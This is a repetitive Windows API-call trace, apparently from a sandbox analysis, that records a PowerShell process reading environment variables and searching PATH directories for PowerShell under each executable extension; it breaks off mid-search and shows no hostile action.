GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3521c8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.313] GetLastError () returned 0xcb [0054.313] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3521c8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.313] GetLastError () returned 0xcb [0054.314] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3521c8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.314] GetLastError () returned 0xcb [0054.315] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3521c8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.315] GetLastError () returned 0xcb [0054.333] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3521c8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.333] GetLastError () returned 0xcb [0054.374] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x3521c8, nSize=0x80 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0054.374] GetLastError () returned 0xcb [0054.377] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x3521c8, nSize=0x80 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0054.377] GetLastError () returned 0xcb [0054.385] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x3523c0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop") returned 0x19 [0054.385] GetLastError () returned 0xcb [0054.413] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0054.413] GetLastError () returned 0xcb [0054.414] SetErrorMode (uMode=0x1) returned 0x1 [0054.416] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\PowerShell.ps1", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.416] GetLastError () returned 0x2 [0054.416] SetErrorMode (uMode=0x1) returned 0x1 [0054.418] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0054.418] GetLastError () returned 0x2 [0054.437] SetErrorMode (uMode=0x1) returned 0x1 [0054.437] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\PowerShell.psm1", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.437] GetLastError () returned 0x2 [0054.437] SetErrorMode (uMode=0x1) returned 0x1 [0054.437] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0054.437] GetLastError () returned 0x2 [0054.437] SetErrorMode (uMode=0x1) returned 0x1 [0054.437] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\PowerShell.psd1", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.437] GetLastError () returned 0x2 [0054.437] SetErrorMode (uMode=0x1) returned 0x1 [0054.437] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0054.438] GetLastError () returned 0x2 [0054.438] SetErrorMode (uMode=0x1) returned 0x1 [0054.438] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\PowerShell.COM", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.438] GetLastError () returned 0x2 [0054.438] SetErrorMode (uMode=0x1) returned 0x1 [0054.438] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0054.438] GetLastError () returned 0x2 [0054.438] SetErrorMode (uMode=0x1) returned 0x1 [0054.438] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\PowerShell.EXE", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.438] GetLastError () returned 0x2 [0054.438] SetErrorMode (uMode=0x1) returned 0x1 [0054.438] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0054.438] GetLastError () returned 0x2 [0054.438] SetErrorMode (uMode=0x1) returned 0x1 [0054.438] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\PowerShell.BAT", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.438] GetLastError () returned 0x2 [0054.439] SetErrorMode (uMode=0x1) returned 0x1 [0054.439] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0054.439] GetLastError () returned 0x2 [0054.439] SetErrorMode (uMode=0x1) returned 0x1 [0054.439] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\PowerShell.CMD", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.439] GetLastError () returned 0x2 [0054.439] SetErrorMode (uMode=0x1) returned 0x1 [0054.439] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0054.439] GetLastError () returned 0x2 [0054.439] SetErrorMode (uMode=0x1) returned 0x1 [0054.439] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\PowerShell.VBS", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.439] GetLastError () returned 0x2 [0054.439] SetErrorMode (uMode=0x1) returned 0x1 [0054.439] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0054.439] GetLastError () returned 0x2 [0054.439] SetErrorMode (uMode=0x1) returned 0x1 [0054.439] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\PowerShell.VBE", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.440] GetLastError () returned 0x2 [0054.440] SetErrorMode (uMode=0x1) returned 0x1 [0054.440] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0054.440] GetLastError () returned 0x2 [0054.440] SetErrorMode (uMode=0x1) returned 0x1 [0054.440] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\PowerShell.JS", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.440] GetLastError () returned 0x2 [0054.440] SetErrorMode (uMode=0x1) returned 0x1 [0054.440] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0054.440] GetLastError () returned 0x2 [0054.440] SetErrorMode (uMode=0x1) returned 0x1 [0054.440] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\PowerShell.JSE", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.440] GetLastError () returned 0x2 [0054.440] SetErrorMode (uMode=0x1) returned 0x1 [0054.440] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0054.440] GetLastError () returned 0x2 [0054.440] SetErrorMode (uMode=0x1) returned 0x1 [0054.441] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\PowerShell.WSF", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.441] GetLastError () returned 0x2 [0054.441] SetErrorMode (uMode=0x1) returned 0x1 [0054.441] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0054.441] GetLastError () returned 0x2 [0054.441] SetErrorMode (uMode=0x1) returned 0x1 [0054.441] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\PowerShell.WSH", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.441] GetLastError () returned 0x2 [0054.441] SetErrorMode (uMode=0x1) returned 0x1 [0054.441] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0054.441] GetLastError () returned 0x2 [0054.441] SetErrorMode (uMode=0x1) returned 0x1 [0054.441] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\PowerShell.MSC", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.441] GetLastError () returned 0x2 [0054.441] SetErrorMode (uMode=0x1) returned 0x1 [0054.441] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0054.441] GetLastError () returned 0x2 [0054.441] SetErrorMode (uMode=0x1) returned 0x1 [0054.441] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\PowerShell", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.442] GetLastError () returned 0x2 [0054.442] SetErrorMode (uMode=0x1) returned 0x1 [0054.444] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0054.444] GetLastError () returned 0x2 [0054.444] SetErrorMode (uMode=0x1) returned 0x1 [0054.444] FindFirstFileW (in: lpFileName="C:\\Windows\\PowerShell.ps1", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.444] GetLastError () returned 0x2 [0054.444] SetErrorMode (uMode=0x1) returned 0x1 [0054.444] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0054.444] GetLastError () returned 0x2 [0054.444] SetErrorMode (uMode=0x1) returned 0x1 [0054.444] FindFirstFileW (in: lpFileName="C:\\Windows\\PowerShell.psm1", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.444] GetLastError () returned 0x2 [0054.444] SetErrorMode (uMode=0x1) returned 0x1 [0054.444] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0054.444] GetLastError () returned 0x2 [0054.444] SetErrorMode (uMode=0x1) returned 0x1 [0054.444] FindFirstFileW (in: lpFileName="C:\\Windows\\PowerShell.psd1", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.444] GetLastError () returned 0x2 [0054.445] SetErrorMode (uMode=0x1) returned 0x1 [0054.445] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0054.445] GetLastError () returned 0x2 [0054.445] SetErrorMode (uMode=0x1) returned 0x1 [0054.445] FindFirstFileW (in: lpFileName="C:\\Windows\\PowerShell.COM", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.445] GetLastError () returned 0x2 [0054.445] SetErrorMode (uMode=0x1) returned 0x1 [0054.445] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0054.445] GetLastError () returned 0x2 [0054.445] SetErrorMode (uMode=0x1) returned 0x1 [0054.445] FindFirstFileW (in: lpFileName="C:\\Windows\\PowerShell.EXE", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.445] GetLastError () returned 0x2 [0054.445] SetErrorMode (uMode=0x1) returned 0x1 [0054.445] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0054.445] GetLastError () returned 0x2 [0054.445] SetErrorMode (uMode=0x1) returned 0x1 [0054.445] FindFirstFileW (in: lpFileName="C:\\Windows\\PowerShell.BAT", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.445] GetLastError () returned 0x2 [0054.445] SetErrorMode (uMode=0x1) returned 0x1 [0054.446] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0054.446] GetLastError () returned 0x2 [0054.446] SetErrorMode (uMode=0x1) returned 0x1 [0054.446] FindFirstFileW (in: lpFileName="C:\\Windows\\PowerShell.CMD", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.446] GetLastError () returned 0x2 [0054.446] SetErrorMode (uMode=0x1) returned 0x1 [0054.446] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0054.446] GetLastError () returned 0x2 [0054.446] SetErrorMode (uMode=0x1) returned 0x1 [0054.446] FindFirstFileW (in: lpFileName="C:\\Windows\\PowerShell.VBS", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.446] GetLastError () returned 0x2 [0054.446] SetErrorMode (uMode=0x1) returned 0x1 [0054.446] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0054.446] GetLastError () returned 0x2 [0054.446] SetErrorMode (uMode=0x1) returned 0x1 [0054.446] FindFirstFileW (in: lpFileName="C:\\Windows\\PowerShell.VBE", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.446] GetLastError () returned 0x2 [0054.446] SetErrorMode (uMode=0x1) returned 0x1 [0054.446] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0054.446] GetLastError () returned 0x2 [0054.446] SetErrorMode (uMode=0x1) returned 0x1 [0054.447] FindFirstFileW (in: lpFileName="C:\\Windows\\PowerShell.JS", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.447] GetLastError () returned 0x2 [0054.447] SetErrorMode (uMode=0x1) returned 0x1 [0054.447] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0054.447] GetLastError () returned 0x2 [0054.447] SetErrorMode (uMode=0x1) returned 0x1 [0054.447] FindFirstFileW (in: lpFileName="C:\\Windows\\PowerShell.JSE", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.447] GetLastError () returned 0x2 [0054.447] SetErrorMode (uMode=0x1) returned 0x1 [0054.447] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0054.447] GetLastError () returned 0x2 [0054.447] SetErrorMode (uMode=0x1) returned 0x1 [0054.447] FindFirstFileW (in: lpFileName="C:\\Windows\\PowerShell.WSF", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.447] GetLastError () returned 0x2 [0054.447] SetErrorMode (uMode=0x1) returned 0x1 [0054.447] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0054.447] GetLastError () returned 0x2 [0054.447] SetErrorMode (uMode=0x1) returned 0x1 [0054.448] FindFirstFileW (in: lpFileName="C:\\Windows\\PowerShell.WSH", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.448] GetLastError () returned 0x2 [0054.448] SetErrorMode (uMode=0x1) returned 0x1 [0054.448] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0054.448] GetLastError () returned 0x2 [0054.448] SetErrorMode (uMode=0x1) returned 0x1 [0054.448] FindFirstFileW (in: lpFileName="C:\\Windows\\PowerShell.MSC", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.448] GetLastError () returned 0x2 [0054.448] SetErrorMode (uMode=0x1) returned 0x1 [0054.448] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0054.448] GetLastError () returned 0x2 [0054.448] SetErrorMode (uMode=0x1) returned 0x1 [0054.448] FindFirstFileW (in: lpFileName="C:\\Windows\\PowerShell", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.448] GetLastError () returned 0x2 [0054.448] SetErrorMode (uMode=0x1) returned 0x1 [0054.448] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0054.448] GetLastError () returned 0x2 [0054.448] SetErrorMode (uMode=0x1) returned 0x1 [0054.448] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\PowerShell.ps1", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.449] GetLastError () returned 0x2 [0054.449] SetErrorMode (uMode=0x1) returned 0x1 [0054.449] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0054.449] GetLastError () returned 0x2 [0054.449] SetErrorMode (uMode=0x1) returned 0x1 [0054.449] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\PowerShell.psm1", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.450] GetLastError () returned 0x2 [0054.450] SetErrorMode (uMode=0x1) returned 0x1 [0054.450] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0054.450] GetLastError () returned 0x2 [0054.450] SetErrorMode (uMode=0x1) returned 0x1 [0054.451] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\PowerShell.psd1", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.451] GetLastError () returned 0x2 [0054.451] SetErrorMode (uMode=0x1) returned 0x1 [0054.451] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0054.451] GetLastError () returned 0x2 [0054.451] SetErrorMode (uMode=0x1) returned 0x1 [0054.452] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\PowerShell.COM", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.452] GetLastError () returned 0x2 [0054.452] SetErrorMode (uMode=0x1) returned 0x1 [0054.452] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0054.452] GetLastError () returned 0x2 [0054.452] SetErrorMode (uMode=0x1) returned 0x1 [0054.453] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\PowerShell.EXE", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.453] GetLastError () returned 0x2 [0054.453] SetErrorMode (uMode=0x1) returned 0x1 [0054.453] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0054.454] GetLastError () returned 0x2 [0054.454] SetErrorMode (uMode=0x1) returned 0x1 [0054.454] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\PowerShell.BAT", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.454] GetLastError () returned 0x2 [0054.454] SetErrorMode (uMode=0x1) returned 0x1 [0054.455] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0054.455] GetLastError () returned 0x2 [0054.455] SetErrorMode (uMode=0x1) returned 0x1 [0054.455] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\PowerShell.CMD", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.455] GetLastError () returned 0x2 [0054.456] SetErrorMode (uMode=0x1) returned 0x1 [0054.456] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0054.456] GetLastError () returned 0x2 [0054.456] SetErrorMode (uMode=0x1) returned 0x1 [0054.456] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\PowerShell.VBS", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.457] GetLastError () returned 0x2 [0054.457] SetErrorMode (uMode=0x1) returned 0x1 [0054.457] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0054.457] GetLastError () returned 0x2 [0054.457] SetErrorMode (uMode=0x1) returned 0x1 [0054.457] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\PowerShell.VBE", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.458] GetLastError () returned 0x2 [0054.458] SetErrorMode (uMode=0x1) returned 0x1 [0054.458] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0054.458] GetLastError () returned 0x2 [0054.458] SetErrorMode (uMode=0x1) returned 0x1 [0054.458] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\PowerShell.JS", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.459] GetLastError () returned 0x2 [0054.459] SetErrorMode (uMode=0x1) returned 0x1 [0054.459] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0054.459] GetLastError () returned 0x2 [0054.459] SetErrorMode (uMode=0x1) returned 0x1 [0054.459] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\PowerShell.JSE", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.460] GetLastError () returned 0x2 [0054.460] SetErrorMode (uMode=0x1) returned 0x1 [0054.460] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0054.460] GetLastError () returned 0x2 [0054.460] SetErrorMode (uMode=0x1) returned 0x1 [0054.460] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\PowerShell.WSF", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.461] GetLastError () returned 0x2 [0054.461] SetErrorMode (uMode=0x1) returned 0x1 [0054.461] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0054.461] GetLastError () returned 0x2 [0054.461] SetErrorMode (uMode=0x1) returned 0x1 [0054.461] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\PowerShell.WSH", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.462] GetLastError () returned 0x2 [0054.462] SetErrorMode (uMode=0x1) returned 0x1 [0054.462] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0054.462] GetLastError () returned 0x2 [0054.462] SetErrorMode (uMode=0x1) returned 0x1 [0054.462] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\PowerShell.MSC", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.463] GetLastError () returned 0x2 [0054.463] SetErrorMode (uMode=0x1) returned 0x1 [0054.463] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0054.463] GetLastError () returned 0x2 [0054.463] SetErrorMode (uMode=0x1) returned 0x1 [0054.463] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\PowerShell", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.464] GetLastError () returned 0x2 [0054.464] SetErrorMode (uMode=0x1) returned 0x1 [0054.464] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0054.464] GetLastError () returned 0x2 [0054.464] SetErrorMode (uMode=0x1) returned 0x1 [0054.464] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShell.ps1", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.464] GetLastError () returned 0x2 [0054.464] SetErrorMode (uMode=0x1) returned 0x1 [0054.464] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0054.464] GetLastError () returned 0x2 [0054.464] SetErrorMode (uMode=0x1) returned 0x1 [0054.464] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShell.psm1", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.464] GetLastError () returned 0x2 [0054.464] SetErrorMode (uMode=0x1) returned 0x1 [0054.464] 